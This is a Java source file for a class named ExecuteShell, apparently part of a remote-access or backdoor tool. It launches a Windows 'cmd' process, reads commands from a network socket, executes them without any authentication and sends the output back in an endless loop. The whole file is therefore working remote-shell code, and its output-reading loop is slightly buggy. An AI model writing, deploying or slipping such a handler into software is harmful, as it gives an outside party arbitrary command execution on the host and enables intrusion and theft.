/*
 * To change this template, choose Tools | Templates
 * and open the template in the editor.
 */
package Shell;

import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.io.OutputStreamWriter;
import java.net.Socket;
import java.util.logging.Level;
import java.util.logging.Logger;

/**
 *
 * @author Oho
 */
public class ExecuteShell extends Thread{
    Socket sk;
    public ExecuteShell(Socket soc){
        this.sk=soc;
    }
    
    public void ShellTuXa() throws IOException {

        ObjectOutputStream out = null;
        ObjectInputStream inputServer = null;
        Process process = Runtime.getRuntime().exec("cmd");
        OutputStream stdin = process.getOutputStream();
        InputStream stderr = process.getErrorStream();
        InputStream stdout = process.getInputStream();

        while (true) {
            try {
                if (inputServer == null) {
                    inputServer = new ObjectInputStream(sk.getInputStream());
                }
                String lenh = (String) inputServer.readObject();
                if (out == null) {
                    out = new ObjectOutputStream(sk.getOutputStream());
                }

                String str=CMD(lenh, stdin, stdout);
                out.writeObject(str);
               out.flush();

            } catch (ClassNotFoundException ex) {
             //   Logger.getLogger(ShellClient.class.getName()).log(Level.SEVERE, null, ex);
            }


        }

    }

    public String CMD(String cmd, OutputStream stdin, InputStream stdout) {
        String str = "";

        try {
            String line;
            //Scanner scan = new Scanner(System.in);


            BufferedReader reader = new BufferedReader(new InputStreamReader(stdout));
            BufferedWriter writer = new BufferedWriter(new OutputStreamWriter(stdin));
            //while (scan.hasNext()) {
            String input = cmd;
            if (input.trim().equals("exit")) {
                // Putting 'exit' amongst the echo --EOF--s below doesn't work.
                writer.write("exit\n");
            } else {
                writer.write("((" + input + ") && echo --EOF--) || echo --EOF--\n");
            }
            writer.flush();

            line = reader.readLine();
            while (line != null && !line.trim().equals("--EOF--")) {
                //System.out.println("Stdout: " + line);
                line = reader.readLine();
                str += line + "\r\n";

            }

            //if (line == null) {
            //   break;
            //}
            //}
        } catch (IOException ex) {
         //   Logger.getLogger(ShellClient.class.getName()).log(Level.SEVERE, null, ex);
        }
        return str;
    }    
    public void run(){
        try {
            //BufferedReader inputServer = null;

        ShellTuXa();
        } catch (IOException ex) {
            Logger.getLogger(ExecuteShell.class.getName()).log(Level.SEVERE, null, ex);
        }
    }
    
}
